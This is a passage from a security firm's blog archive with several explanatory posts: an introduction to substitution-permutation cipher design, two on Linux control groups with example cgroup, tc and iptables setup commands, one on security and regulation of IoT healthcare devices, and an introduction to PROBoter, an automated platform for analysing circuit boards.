Define an encryption algorithm by xoring the plaintext with k0, then applying a publicly known substitution, and xoring again with k1. The schematic of this procedure can be found below.

Note that the xor operation and the substitution does not commute, i.e., the order of operations cannot be changed. There is no way to substitute this construction with simpler operations. And in fact, this minimalist cipher known as the Even-Mansour scheme is one of the smallest ciphers for which a security guarantee can be proven in a formal sense.

With a single S-box this construction already offers confusion. If a bit of the key k0 is flipped, then the input to the S-box changes and consequently all output bits of the S-box are affected by this bit flip in the key. The same holds true for flipping an input bit of the plaintext.

Consequently, this way of integrating a secret key is what we will be using in order to build a full substitution permutation network, as it is used in modern cipher design.

A Full Substitution Permutation Network

Summarizing our points from above, an xor of the round key together with a substitution is used to achieve confusion. The permutations are used for the diffusion. The parameters for the substitution, as well as for the permutation are publicly known. The only secret ingredient are the round keys. Therefore, Kerckhoffs’s principle is satisfied.

The full construction of a substitution permutation network (SPN) is given in the figure below.

This figure shows a construction with three rounds and four round keys. In the last round the permutation is omitted as it is easy to undo without knowledge of the key and thus does not add security. The subkey mixing is usually done by xoring the round key with the wires, but there may be other options. In order to be more general the term “subkey mixing” is used in the schematic.

A modern encryption algorithm has many more rounds. In the advanced encryption standard AES the number of rounds is 10, 12, or 14 depending on the key length.

The round keys (k0, k1, k2, and k3 in our case) are usually derived from the main key using a key schedule. However, this is beyond the scope of our introduction.

Resources

For further reading on the design of a modern cipher, we suggest the Stick Figure Guide to AES for a nontechnical introduction.
Regarding the graphics, we are grateful for Tikz for Cryptographers which saved us a lot of time.
The image of the Skytale is from Wikimedia Commons .
And finally, the title image is from Pexels .

Linux Container Primitives: Network and Block I/O Control Groups

Philipp Schmied — Tue, 12 Jan 2021 10:56:10 +0100

In the previous post of the Linux Container Primitives series, the basics of control groups were covered. This post illustrates the purpose of two cgroup controllers: Network and Block I/O. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

The Network Controller (v1)

This section covers the resource controllers net_cl and net_prio. Both cause identifiers to be attached to sockets once they are created by a process that’s being managed by one of the two controllers. The difference between the two controllers is that net_prio assigns an ID that’s unique for each control group whereas net_cl uses a specified identifier that does not have to be unique for each cgroup, allowing flexible tagging of sockets in classes [1]. Adding these identifiers allows quick checks to determine whether a socket originates from the same control group or class. This is more efficient than searching in the control group tree, for example using the cgroup function is_descendant() to perform these checks - especially if this has to be performed regularly.

There are multiple use-cases for these additional socket attributes. Among others, some of them are:

Setting the priority of network packets originating from a specific socket or device by using the network priority set by net_prio.
Using iptables in combination with the net_cl class identifier to filter and route packets based on the control group membership.
Scheduling network packets based on class identifiers.

A simple usage example of net_cls that drops all IP based traffic for all processes not present in a specific control group can be seen below [2]:

root@box :~# mkdir /sys/fs/cgroup/net_cls # Create mountpoint
root@box :~# mount -t cgroup \ # Mount the controller
-o net_cls net_cls /sys/fs/cgroup/net_cls
root@box :~# mkdir /sys/fs/cgroup/net_cls/IPAllowed # Create cgroup
root@box :~# echo 0x100001 > \ # Set the fixed class identifier
/sys/fs/cgroup/net_cls/IPAllowed/net_cls.classid
root@box :~# tc qdisc add dev <interface> root handle 10: htb
root@box :~# tc class add dev <interface> parent 10: classid 10:1 \
 htb rate 40mbit
root@box :~# tc filter add dev <interface> parent 10: protocol ip \
 prio 10 handle 1: cgroup
root@box :~# iptables -A OUTPUT -m cgroup ! \
 --cgroup 0x100001 -j DROP # Disallow IP for all non-members
root@box :~# echo $$ > \ # Add process to cgroup
/sys/fs/cgroup/net_cls/IPAllowed/cgroup.procs
-- Filtering active --
root@box :~# tc qdisc del dev <interface> root; \ # Revert settings
tc qdisc add dev <interface> root pfifo

The tc (Traffic Control) commands listed above are being used to set up a qdisc (Queueing-Discipline) that uses the fixed control group class to classify the traffic originating from a control group on a network interface by assigning it to a handle called cgroup. This filtering is accomplished by using a HTB (Hierarchical Token Bucket) filter. With iptables it’s then possible to use the cgroup handle to add rules for a control group, e.g. allowing network access.

This controller type is an example where child control groups are not automatically affected by the net_* controllers, meaning that this setting is not inherited throughout the hierarchy.

The Block IO Controller (v1/v2)

The blkio (v1) / io (v2) controller is being utilized to enable I/O resource usage policies. The most common use-cases to limit these aspects are:

Specifying upper bandwidth limits, for example in the blkio.throttle.read_bps_device file to specify the maximum bandwidth for a device in bits per second. Alternatively, the rbps parameter in conjunction with the io.max file is the equivalent for version 2.
Denying access to a specific device.
Limiting with proportional time based division: This allows settings weights for various control groups that will be used to prioritize all device accesses when performing I/O operations. The blkio.weight file is present for this purpose in cgroup v1 whereas this is configured with io.weight in version 2.

Enforcing Limits in the Kernel

Enforcing bandwidth limits is implemented in blk_throtl_bio which resides in block/blk-throttle.c. This function makes use of throtl_charge_bio to ultimately charge for the data volume used in an I/O operation. Depending on the resource usage, an I/O operation can be executed directly or may have to be delayed using a queue to meet the resource limitations. For delayed operations, a dispatcher function will then cause pending operations to be executed using pre-calculated timers in order to throttle requested operations. With throtl_trim_slice the required time limiting is calculated, yielding the time slice the operation may be executed in.

To allow or deny accessing a specific device, functions of security/device_cgroup.c come to use. When passing cgroup configuration strings to the files present in the virtual control group file system devcgroup_update_access parses this information and configures the control group accordingly, e.g. by setting flags indicating whether accessing a device is allowed or denied for processes of a cgroup. This builds an exception list as seen in the listing following below. Upon accessing a block device, __blkdev_get (fs/block_dev.c) is being called which performs access checks prior to allowing access. To perform these checks, __devcgroup_check_permission (security/device_cgroup.c) is called, resulting in the following checks being performed using the internal exception list:

// current is the current task_struct
dev_cgroup = task_devcgroup(current);
if (dev_cgroup->behavior == DEVCG_DEFAULT_ALLOW)
// perform checks based on the exception list
 rc = !match_exception_partial(&dev_cgroup->exceptions,
type, major, minor, access);
else
rc = match_exception(&dev_cgroup->exceptions, type, major,
minor, access);
if (!rc)
return -EPERM; // deny access

The default scheduler for I/O operations in the Linux kernel is the CFQ scheduler. It was extended to support the I/O related cgroup controllers after control groups have been introduced in the kernel. This makes it possible to account and constrain processes regarding their consumed I/O resources, for example using pre-defined weights. The CFQ I/O scheduler is implemented in block/cfq-iosched.h - not to be confused with kernel/sched/fair.c where process-related CFQ scheduling is implemented. The kernel structure cfq_group maps various settings per cgroup-device relationship. This includes applied policies and weights which are considered in order to schedule I/O operations.

Next post in series

Continue reading the next article in this series The Memory, CPU, Freezer and Device Controllers
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Control groups, part 3: First steps to control
2 - Network classifier cgroup
Title Image by Tom Fisk via Pexels (cropped)

A Methodology for Assessing Security in IoT Healthcare Devices: Background Information

Melissa Loos — Tue, 15 Dec 2020 09:37:00 +0100

This is the first post of our IoT healthcare security series. This blog post summarizes background information specific to healthcare IoT from a security perspective. The following list shows the topics of all blog posts in this series. It will be updated with the corresponding links once new posts are being released.

IoT Healthcare Devices: Background Information
Precautions, Considerations and Getting a First Overview on the Scope
Hardware Analysis, Vulnerability Scan and Impact Analysis
Software and Web Application Analysis and Documentation

Recent developments in healthcare have resulted in the combination of medical devices and the Internet-of-Things (IoT). With medical devices underlying special regulations and used in very specific contexts, the question arises how security assessments can be performed to address the sector-specific demands. While the results of security breaches in healthcare can be socially or financially devastating or cause serious patient harm, medical device manufacturers and applicants have to weigh these issues up against the many positive effects of digital medical device usage. To contribute to the solution of this issue, a bachelor thesis has been created that provides an overview on technical background information of medical devices and their context of usage, eventually introducing a novel methodology which can be used by security testers as well as medical device developers for security assessments of IoT healthcare devices.

Background Information

This section summarizes important characteristics and regulations of medical devices and their context of usage.

Types and Classifications of Medical Devices

Medical devices can intuitively be separated into three categories:

Devices for home-usage
Implantable devices
Diagnostic and therapeutic devices used only by physicians or other medical staff (e.g. sonographic units, …) and capital medical equipment (e.g. MRT, CT, …)

Medical devices are grouped in four risk classes: Class I, IIa, IIb, III (see 93/42/EEC Annex IX III. Classification[1]). The following diagram depicts the risk classes as defined under the new MDR:

risk-classes

Furthermore, IEC 62304 divides medical device software into three safety classes: A, B and C as shown in the figure below (translated from a blog entry of the Johner Institute[2]):

safety-class

Risk Acceptability Matrix

The following risk acceptability matrix as defined in ISO 14971 (found in the greenlight guru blog[3]) can answer whether risk levels are acceptable or risk reduction is required:

risk-acceptability-matrix

Challenges of IoT Healthcare Devices

The main challenges of IoT Healthcare devices are:

Insecure devices can be used as entry points to access networks
In the worst case scenario, security incidents can lead to severe patient harm, including death[4].
Some devices may never be taken offline and must remain available at all times.
Some devices, like implants, are directly connected to patients.
Maintenance can cause malfunctions. Medical devices should be updated as seldom as possible.
Health-related data is considered very sensitive under the General Data Protection Regulation (GDPR), and patient records can — unlike most other personal data — not be changed after a security breach like bank account numbers or credentials. As a consequence, health data should be as well-protected as possible.
IoT Healthcare devices are used by non-technical and non-security aware individuals or institutions and commonly run in publicly available places. Sometimes, risks are addressed by installing cameras or attaching RFID tags to the devices, but eventually, security testers should assume all devices are physically accessible since of the low security awareness of medical personnel (‘we trust our patients’, anonymous quote from a doctor)
Security is mostly of low priority for healthcare services
Acceptance of security measures: a security measure that will complicate or slow down a process will — with good reason — be rejected by medical personnel and applicants. Therefore, security measures must be as easy and effortless for its applicants, as possible, and should — whenever reasonable — be the default setting, allowing secure device usage “out-of-the-box”
Medical devices can be connected to heterogeneous, old or unpatched systems. This might also happen on coincidence (e.g. a housekeeper pulling the cable and reconnecting it to the wrong plug-in position). Additionally, many hospitals have BYOD-policies (‘bring your own device’). It must be expected that medical devices run in a vulnerable network, and thus, any device needs to be secured as best as possible, perchance taking a Zero Trust-approach.
Deficient communication between IT and medical personnel leads to not properly scheduled maintenance at some places. Therefore, system updates should avoid affecting device performance, if possible.
For some manufacturers, the sole focus of device development lies on medical functionality. While this may, in the end, maximize the positive effect on patient treatment, this implicates a lack of long-term security support or security-aware development and architecture for many devices and a demand to develop security models for healthcare devices.
Security patches may require a new admission process or manufacturer’s approval (depending on the region), which can slow down the fixing of vulnerabilities significantly and creates a huge overhead of work.
Applying official patches or upgrades may not be possible since they might make the device inoperable.
Patients are almost completely uninformed about the devices used on them in hospitals and can hardly ever reject their usage due to security concerns. Additionally, patients often must rely on these unknown devices due to a lack of suitable alternatives and the urgent nature of health-related problems.
The healthcare system may be subject to warfare, politically motivated groups and cyber criminality since being part of the critical infrastructure.
Malware can be injected into medical devices before market release, sometimes through external libraries. Therefore, security measures should be integrated into the production process and third party code or hardware be tested for security, either.
Remote control of medical devices is not only used to improve the effectiveness with which medical devices are programmed (in use), but also to enable surgeons to maintain a more sterile environment during surgery when it comes to implants. Lowering the radius in which a device functions, while increasing the device’s security, can negatively impact the patients' safety.
The replacement of a defect implant requires surgery, risking injury or even death, and should be avoided at great lengths.

Contradicting Goals

Many medical devices, for example hearing aids, need to be small, light-weight, comfortable to wear, inexpensive, long-living (battery power, …) or easy-to-use. Therefore, medical device hardware can be strongly limited in terms of processing power, device storage and memory. These limitations can contradict with security functions, like cryptography or logging.

From a medical point of view health records should be as widely available as possible and allow emergency access by break-glass functions. From a privacy point of view this raises many questions about how data can be properly secured under these conditions. Additionally, regarding electronic patient records, the question is raised if access to health data can be denied for less costly devices with fewer security features without further compromising social justice.

Sector-Specific Threats

In their February 2019 breach insights[5], the Beazley Breach Response Service has released statistics on causes of incidents related to cyber incidents. This data shows that, while all sectors are threatened by hacks and malware, the healthcare sector is especially threatened by accidental disclosure and insiders. With 41% of all incidents, healthcare entities reported the highest number of incidents.

As pointed out in the Cyber Security Report 2020, the healthcare sector has still been one of the primary targets of ransomware in 2019. Even worse, ‘the targeted approach almost entirely replaced the mass distribution method for ransomware’.

As was stated in the 2019 HIMSS Cybersecurity Survey[6], e-mail remained the most frequent initial point of compromise, with healthcare entities achieving high phishing clicking rates (58% in total). With 25%, human error was the second-most initial point of compromise, while in 5% of the cases, medical devices were the initial point of compromise.

point-of-compromise

Three out of ten threat actors of significant security incidents in 2019 have been identified as benign actors (such as negligent insiders, vendors or consultants). Half of the incidents were caused by so-called bad actors like online scam artists (28%) and hackers (11%). The other threat actors were social engineers, malicious insiders, nation state actors and hacktivists.

threat-actors

The Health Care Industry Cybersecurity Task Force has listed possible risks of medical devices in their report on improving cybersecurity in the health care industry in 2017 (see table below), stating that the susceptibility of health care information to cyber threats has become very evident in the last few years with identity theft, ransomware, and targeted nation-state hacking becoming more frequent and extensive.

risks

Technical Features of Medical Devices

Frequency bands

The following table shows the frequency bands used by medical devices for communication in the U.S.:

frequency-bands

In the EU, medical devices can use any ISM band between 150 kHz to 80 MHz, as regulated in IEC 60601, however, medical devices can also use other frequency bands, especially older devices or if frequencies are used for diagnosis or therapy.

Sensors

Many medical devices use sensors for measurements. Proximity-based attacks could target these sensors, which are usually not sufficiently protected.

Operating systems

In 2020, the majority of medical imgaing devices ran on unsupported systems (83%), most of them running a Windows OS[10].

Databases for Medical Devices

There are several databases unique for medical devices:

AccessGUDID (Global Unique Device Identification Database)
MAUDE (Manufacturer and User Facility Device Experience)
DIMDI (German, charges fees for access)
EUDAMED (EU, in development)

However, none of these databases provided sufficient technical information as would be needed for security assessments.

Recently, the FCC database EAS, which provides information on radio-frequency-emitting devices licensed in the U.S., and inofficial sources provide the most accurate technical information.

Regulative Institutions, Acts and Norms

This section gives an overview on the institutions, acts and norms that regulate medical device security in any form.

Germany

The institutions that took responsibility for medical device security are:

Federal Office for Information Security (BSI)
- TR-03161 (security, mobile eHealth applications)
- TR-03154, TR-03155, TR-03157 (Konnektor)
- TR-03160, TR-03143, TR-03144 (security, electronic health card)
Federal Institute for Drugs and Medical Devices (BfArM)
- regulate medical products in general, do not occupy themselves with cybersecurity

The BSI has released the above listed technical guidelines directly addressing healthcare. Other interesting guidelines were released addressing topics like cryptography. We can expect further technical guidelines addressing the security of medical devices from the BSI in the future. Furthermore, the following legislation applies to medical devices. However, no technical information on medical device security could be found in these documents.

Act on Medical Devices (MPG)
- instance of European MDD
- will be replaced by the MPDG (German Medical Device Act) in 2021 presumably
Safety Plan for Medical Devices (MPSV)
PDSG (medical patient data protection act) protection within the German Telematics infrastructure

EU

European guidelines give EU member states directions or ‘recommendations’ how a law should be deployed on a national level. The following guidelines were found interesting during research:

90/385/EEC (active implantable medical devices)
93/42/EEC (Medical Device Directive (MDD))
MDR (Medical Device Regulation), which will replace the MDD (delayed due to Sars-CoV-2)
MEDDEV guidance documents (guide manufacturers, not mandatory)
EU 2016/1148(network security, national strategies)
European Union Agency For Network And Information Security (enisa): Baseline Security Recommendations for IoT in the context of Critical Information Infrastructure

In a brief summary, most regulations demand safe and secure medical devices, however, a lack of clear instructions how to handle the contradiction between security and safety is missing.

Norms

The following norms are of interest when dealing with the cybersecurity of healthcare devices:

ISO 13485 (medical, quality management system, manufacture)
ISO 14971:2019 (medical, risk management)
ISO/IEC 27001 (Information Security Management Systems (ISMS))
ISO/IEC 27002:2013 (ISMS, practice recommendations)
ISO/IEC 27034 (software, IT security)
ISO 27799:2016 (medical, ISMS, checklist)
IEC 60601 / EN 80601 (medical, fundamental safety)
IEC 62304:2006 (software, life cycle processes, development, risk management, maintenance)
IEC 62304:2017 (software, risk levels)
IEC 62443 (IT security of industrial automated processes, commonly used by medical device manufacturers)
IEC 80001 (medical, life cycle of IT infrastructures incorporating medical devices)

FDA

Medical devices traded in the U.S. undergo marketing approval by the FDA. The FDA has released four cybersecurity guidances:

Cybersecurity for Networked Medical Devices containing Off-the-Shelf (OTS) Software
Guidance for the Content of Premarket Submissions for Software Contained in Medical Devices
Content of Premarket Submissions for Management of Cybersecurity in Medical Devices
Postmarket Management of Cybersecurity in Medical Devices

The first of the above listed guidelines states, that no further FDA review is needed after a software patch that addresses a cybersecurity vulnerability, while the second divides medical devices into three categories regarding the patient harm: major, moderate and minor. The third guidance splits the responsibility to maintain medical device security between stakeholders, including health care facilities, patients, providers, and manufacturers of medical devices' and demands a reasonable balance of security and usability, stating that no security control should unreasonably hinder access to a device intended to be used during an emergency situation. Manufacturers are encouraged to provide a cybersecurity documentation to their premarket submission. This guidance includes a list of recognized standards dealing with medical device security. The forth guideline deals with risk management and encourages the collaboration between manufacturers and Information Security Analysis Organizations (ISAO).

IT Security Guideline (Johner Institute)

A collaboration between the Johner Institute, TÜV SÜD and Siemens Healthcare GmbH has resulted in an ongoing and yet not officially released guideline[9] with the purpose to guide manufacturers in the interim period while there is already the demand for better IT security in healthcare devices and until more detailed norms and standards for IT security in medical products are developed. Its main focus lies on the security of the product itself regarding the patients' safety, and not the security of the organization. The need for a breaking-the-glass policy is stressed out as well as an understanding of the recent security levels of medical devices in use versus the security level an IT security expert would expect. The authors suggest accepting a step-by-step improvement of manufacturers regarding the security of their products to rather help them develop their products towards better security instead of discouraging them with strict demands since the authors believe it is still better for the patients' health to have an insecure product than no product at all. Security shall be addressed not only during the test phase, but in the product’s whole life cycle.

State of the Art Security

Most acts and even guidelines refer to state-of-the-art security. An 80 pages long document trying to keep up-to-date with modern security could be identified: Guideline: State of the art in IT security [8].

Privacy

In a summary, these are the implications of the EU’s GDPR and U.S. HIPAA:

General Data Protection Regulation (GDPR)
- applies to any data feasible to (indirectly) identify a person
- emergency limitations regarding the disclosure and processing of health-related information and information of public interest
- no data may be raised and processed without purpose and informed consent
- data raised must be minimal
- privacy by design
- personal information should be protected by encryption or pseudonymization
Health Insurance Portability and Accountability Act (HIPAA)
- The U.S. have no equivalent to our GDPR in general
- primary healthcare providers, health plans and healthcare clearinghouses are covered by this act, but not health data in general
- the act is divided into a Privacy Rule and a Security Rule
- The main principle of the Privacy Rule is ‘minimum necessary’
- It follows from the Security Rule that covered entities need to secure the medical devices they use for diagnostic or therapeutic purposes to be able to fulfill these requirements.

Next Post in Series

The next post in this series ‘‘Precautions, Considerations and Getting a First Overview on the Scope’’ will be published soon.
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits: The elaborations and novel methodology are results of a Bachelor’s thesis by Melissa Loos created at SCHUTZWERK in collaboration with Ulm University.

References

[1] Legislation: 93/42/EEC - Medical Devices Directive (MDD)
[2] Blog: Johner Institute - Sicherheitsklassen gemäß IEC 62304
[3] Infographic: Risk Management for Medical Devices as defined by ISO 14971 by greenlight guru
[4] Article: Patient dies after Ransomware Attack (german, 2020-09-17))
[5] Report: Beazley breach insights - February 2019
[6] Report: 2019 HIMSS Cybersecurity Survey
[7] Website: FCC
[8] Guideline: State of the art in IT security
[9] Guideline: IT Security Guideline
[10] Report: 2020 Unit 42 IoT Threat Report
Title Image by Anna Shvets on Pexels

Linux Container Primitives: An Introduction to Control Groups

Philipp Schmied — Thu, 03 Dec 2020 11:56:10 +0100

Next to namespaces (which we discussed in previsous posts 4 , 5 and 6 , control groups are another major building block of today’s Linux containers. This post informs about the basics regarding this kernel primitive. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

Control Groups

The goal of cgroups is to enable fine-grained control over resources consumed by processes additionally to resource monitoring. Before this Linux kernel feature was available, other mechanisms such as nice or setrlimit had to be used to replicate a subset of the features that are being offered directly by today’s kernels. However, without the ability to group processes and restore previously applied settings this was not as convenient as using control groups is today. Next to namespaces this kernel feature is one of the main primitives that are being used to build container environments. Limiting and monitoring of containers with the control groups described in this section can be applied to processes as well as containers.

By organizing control groups in a virtual filesystem called cgroupfs, taking advantage of the hierarchical structure of control groups in implementations becomes possible. Control groups are created, deleted and modified by altering the structure and files of this filesystem. Also, sub-groups are possible that allow the inheritance of cgroup attributes. This implies that limits in parent groups can also apply in child groups. It’s also possible that this affects child processes - for example a fork call can cause the newly created process to be affected by the same limits as the parent. Please note that, depending on the type of control group that’s in use, these aspects may or may not be applicable.

Consider the following use-case: On Ubuntu systemd prevents systems from being crashed by fork bombs by automatically creating a default control group for each user. This behavior results from the effect of the .slice sub-group that’s limiting the number of processes a single user may create, preventing users from spawning processes in an infinite loop. By executing systemctl status user-$UID.slice the current limit is shown.

Specific parts of the offered control group configuration, like the limit described above, are configurable in a granular way using controllers. Controller types are also called subsystems of cgroups and control the aspect of resource usage that may be limited or monitored. Throughout this chapter, various controller types will be discussed. The kernel code regarding cgroups is responsible for grouping processes whereas the individual controller implementations takes care of the resource monitoring and limiting functionality itself.

Modifications to control groups can be applied once the virtual filesystem of the controller to use is mounted. One may choose to mount a single controller type or mount every available type at once. In any case, mounting controllers usually takes place in /sys/fs/cgroup where at least one folder for each controller is being created by calling mount. It’s important to note that it’s not possible to mount an already mounted controller to a different location without also mounting all other controllers that are already mounted to prevent ambiguity. The following figure illustrates the mounting procedure [1]:

The Mounting Procedure

Initially, all processes belong to the root control group. Creating a new cgroup is being accomplished by creating a directory for the control group under /sys/fs/cgroup/<controller type>/<cgroup name>. To configure the newly created cgroup, two tasks have to be performed:

Adding cgroup configuration by creating an attribute file with desired values. For example, to set a memory limit of 100MB for all processes in the control group mem, the file /sys/fs/cgroup/memory/mem/memory.limit_in_bytes has to be created with content 100000000 [2]. For each controller, there exist multiple possible attribute files that can be used to configure a control group.
Moving a process to a control group by writing the target PID to /sys/fs/cgroup/memory/mem/cgroup.procs.

The cgroup.procs file mentioned above may be utilized by any process with write access to the respective file to move another process into a control group. However, when a PID is written to the file, an additional check is being performed to determine whether the writing user is privileged or the same user that’s the owner of the process that’s about to be moved.

Control groups can also be nested by creating sub-directories under already existing cgroup folders. It should be noted that changes made to processes and the control group configuration are not persistent. After rebooting a machine, the configuration will be lost in case cgconfig or similar mechanisms have not been used to make the changes persistent. Persistence is achieved by re-applying control group configurations upon startup. Re-mapping processes of a specific user to a control group works by using the daemon cgrulesengd in combination with a rule set. To remove a cgroup, the associated directory has to be removed which renders the control group invisible. As soon as all processes of the cgroup terminate or are considered zombies, the control group will finally be removed by the kernel.

Two cgroup versions

Due to the way control groups were originally implemented, many inconsistencies were introduced and the code was rather complex in regard to the offered features [3]. Unfortunately, the development of cgroups was not coordinated in an optimal manner which lead to the problematic first version of control groups. Since Linux 4.5, the cgroups v2 implementation is available with the intent to replace the original v1 implementation. However, as of now not all resource controllers of the original implementation are available in the newer version. Because of this, a parallel usage of both versions has to be taken into account in case specific v1 features are required. Please note that a single controller can not be used in both v1 and v2 simultaneously. Some major differences between v1 and v2 are listed in the table below:

v1	v2
Multiple cgroup hierarchies possible.	Only a single, unified hierarchy is allowed.
Distinguishes threads and processes. Threads of a single process can be mapped into different cgroups.	No control of single threads. Therefore no `tasks` file. Exception: Thread mode (see below).
Processes can be mapped to cgroups disregarding whether a group is a leaf node of the hierarchy or not.	No internal processes rule for non-root cgroups: A group can not have controllers enabled and have child groups and processes mapped to it at the same time.
The release_agent can be used in order to get notified in case a group gets empty.	The `events` file can be used for the same purpose.
Implements own mount options.	Deprecates all `v1` mount options.
Uses `/proc/cgroups` to keep track of all controllers supported by the kernel.	Uses the `cgroup.controllers` file for the same purpose.

Additionally to the cgroups file mentioned above, the following files are present to organize the control group functionality:

/sys/kernel/cgroup/delegate: Since Linux 4.15 it’s possible to delegate the management of a control group to an unprivileged user. This file lists all cgroup version 2 files that the delegatee should own after a delegation process.
/sys/kernel/cgroup/features: This file enables user-space applications to list all control group features the kernel supports.
/proc/<PID>/cgroup: This contains information on all cgroups a process resides in.

Thread Mode

The initial control group implementation allows distributing the threads of a process into individual control groups. At first, this seemed to provide a maximum of flexibility. However, there are cases where this resulted in problems: Threads of a single process are running in the same memory space. When limiting the available memory of one thread, this also affects all other threads that may have other memory restrictions imposed by other cgroup memberships. Undefined behavior results as multiple settings are active at the same time for the threads of a single process. Also, when moving a process into a control group after starting it, it’s often necessary to move all child threads too. A helper utility for this task is cgexec which automatically moves all threads of the created process in the correct groups.

After removing the ability to manage control groups on a per-thread basis in v2, some important use-cases could not be fulfilled anymore. This includes the ability of the cpu controller to manage threads. Because of that, Linux 4.14 added the thread mode to relax the restrictions imposed by the transition to v2.

This new mode allows to use threaded sub-trees, enabling threads of multiple processes to be mapped into different control groups within such a sub-tree. There are now two types of resource controllers:

Domain: Controllers of this type are not thread aware, meaning that they can only work on process level. All threads of a process have to reside in the same control group. This controller type can not be enabled in threaded sub-trees.
Threaded: This is the new controller type that allows control group management on a thread-level. It can be used in combination with threaded sub-trees.

Next post in series

Continue reading the next article in this series The Network and Block I/O Controllers
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Linux Containers: Basic Concepts
2 - cgroups (Arch Wiki)
3 - Linux control groups
Title Image by AdamLowly from Pexels (Cropped)

PROBoter - A platform for automated PCB analysis

Fabian Weber — Tue, 24 Nov 2020 09:37:00 +0000

This is the first article of a four part blog post series that introduces this platform. The following topics will be discussed in this series:

PROBoter demo video
Part I: A platform for automated PCB analysis
Part II: The PROBoter hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

Security analysis of embedded systems on the Printed Circuit Board (PCB) level can be a very tedious and time-consuming task. Many steps like visual PCB inspection and reverse engineering of security relevant nets, i.e. electrically connected components, is usually done manually by an embedded security expert. Things get even worse when multiple hardware revisions of the same PCB must be examined. To support analysts in this field, the aim of the master’s thesis Automatisierung der hardwarenahen Sicherheitsanalyse von eingebetteten Systemen written at SCHUTZWERK in cooperation with Hochschule Kempten was to find new ways to automate as many of the tasks required when doing PCB security analysis as possible. The result is a hardware and software platform called the PROBoter. The PROBoter’s main features are:

A hardware platform that provides automated probing with up to four independent probes.
A camera system that is fully integrated in the hardware platform to generate high resolution PCB images.
Simple construction of the hardware platform based on standard parts and 3D printed components which facilitates easy and cost-efficient replication.
Automated calibration of the whole platform to compensate linear errors related to manufacturing and the assembly process.
Automated visual PCB analysis based on Neural Networks to localize Integrated Circuits (ICs) and their corresponding pins on PCB images.
A click-and-probe software solution that utilizes the hardware platform for automated PCB image generation, visual analysis and (semi-)automated probing.
The hardware design and software is open-source. Check out the PROBoter Github repository [1].

In this first part of the PROBoter blog post series the main idea behind the platform and basic concepts of embedded system security analysis are presented.

The manual process

When doing a security analysis of an embedded system, a few tasks must always be performed regardless of the system or device under test: First, the device’s PCB(s) must be uncovered by removing the surrounding enclosure. Sometimes it is even necessary to further disassemble the device by removing parts like heat sinks or coolers. After that, each PCB is scanned for components which are relevant to the system’s security. The analyst’s main focus is on active components. This includes data storage components like persistent memory chips that could contain sensitive data or intellectual property. Also, components that expose an interface to interact with the system, like microcontrollers or processors, are of interest. An attacker could abuse improperly configured interfaces to trick the system into performing unintended actions or revealing internal secrets.

Depending on the component package, i.e. the housing and pin layout, some pins of a component may not be directly accessible. One possible solution to still interact with them is to partially reverse engineer the electrical nets these components are connected to by following traces on the PCB. For example, security-relevant pins like the ones belonging to a debugging interface are often exposed either via pin connectors or test pads to allow for initial programming by the board manufacturer or to perform initial functional tests at the end of the production line.

After analyzing the PCB, a security analyst will try to interact with the system under examination. This is done by connecting chip programmers, memory readers or other analysis tools like the BusPirate [2] to the PCB or a single component. Depending on the PCB’s components, multiple attack vectors are possible and can now be examined by the analyst. Tests range from interacting with an exposed serial connection to dumping memory contents for offline analysis.

Sometimes the functionality of component pins is unknown to the analyst due to a lack of publicly available documentation. In this case, it is up to the analyst to reconstruct the missing information. For example, one method to identify pin functionalities is to analyze their signals at runtime. Communication buses often can easily be identified by comparing the recorded signals to well-known patterns.

The last step of each security analysis is to create a report for the customer. This document should describe all the identified system vulnerabilities in a clear and easy to understand way.

Let’s automate it

The main idea behind the PROBoter platform is to assist a security analyst in all tasks mentioned above. Most of these tasks should be performed by the PROBoter without any user interaction, therefore allowing the analyst to focus on the most important task — the security testing process itself. The first step while developing such an automation tool was to design an automated workflow of the embedded system security analysis based on the described manual process. The result is shown in the figure below.

Figure 1: Workflow of an automated embedded system security analysis

A generated high-resolution image of the PCB under test forms the base for all further automated analysis steps. During the first analysis step, the image data is processed to locate components that might be relevant for a security analyst, such as microcontrollers or memory chips. As this is basically an object detection task, methods based on state of the art Neural Network object detectors or classic Computer Vision algorithms could be utilized here. For each component found, an identification step should be performed to get information about the component’s functionality and possible external interfaces. The chip marking and package can be used during this step as key features to classify and identify a component.

To allow automated probing, the precise location of component pins and other possible probing locations like test pads have to be searched in the provided image data. This step can be performed simultaneously to the component localization and identification to reduce analysis time. If performed in parallel, a mapping between the identified pins and the located components is necessary. It is also possible during this step to map component functionality like debugging interface pins or data bus lines to identified pins. The required pinout could for example be extracted from datasheets provided by component manufacturers in an automated way.

All the analysis described so far is only based on image data of the PCB’s top and bottom side. For complex multi-layer PCBs, it is possible that important information like component interconnections may be hidden in the inner layers and can therefore not be detected by visual inspection. To fill this information gap, automated electrical probing in combination with electrical resistance measurements can be used to reconstruct pin or component connections not visible from the outside.

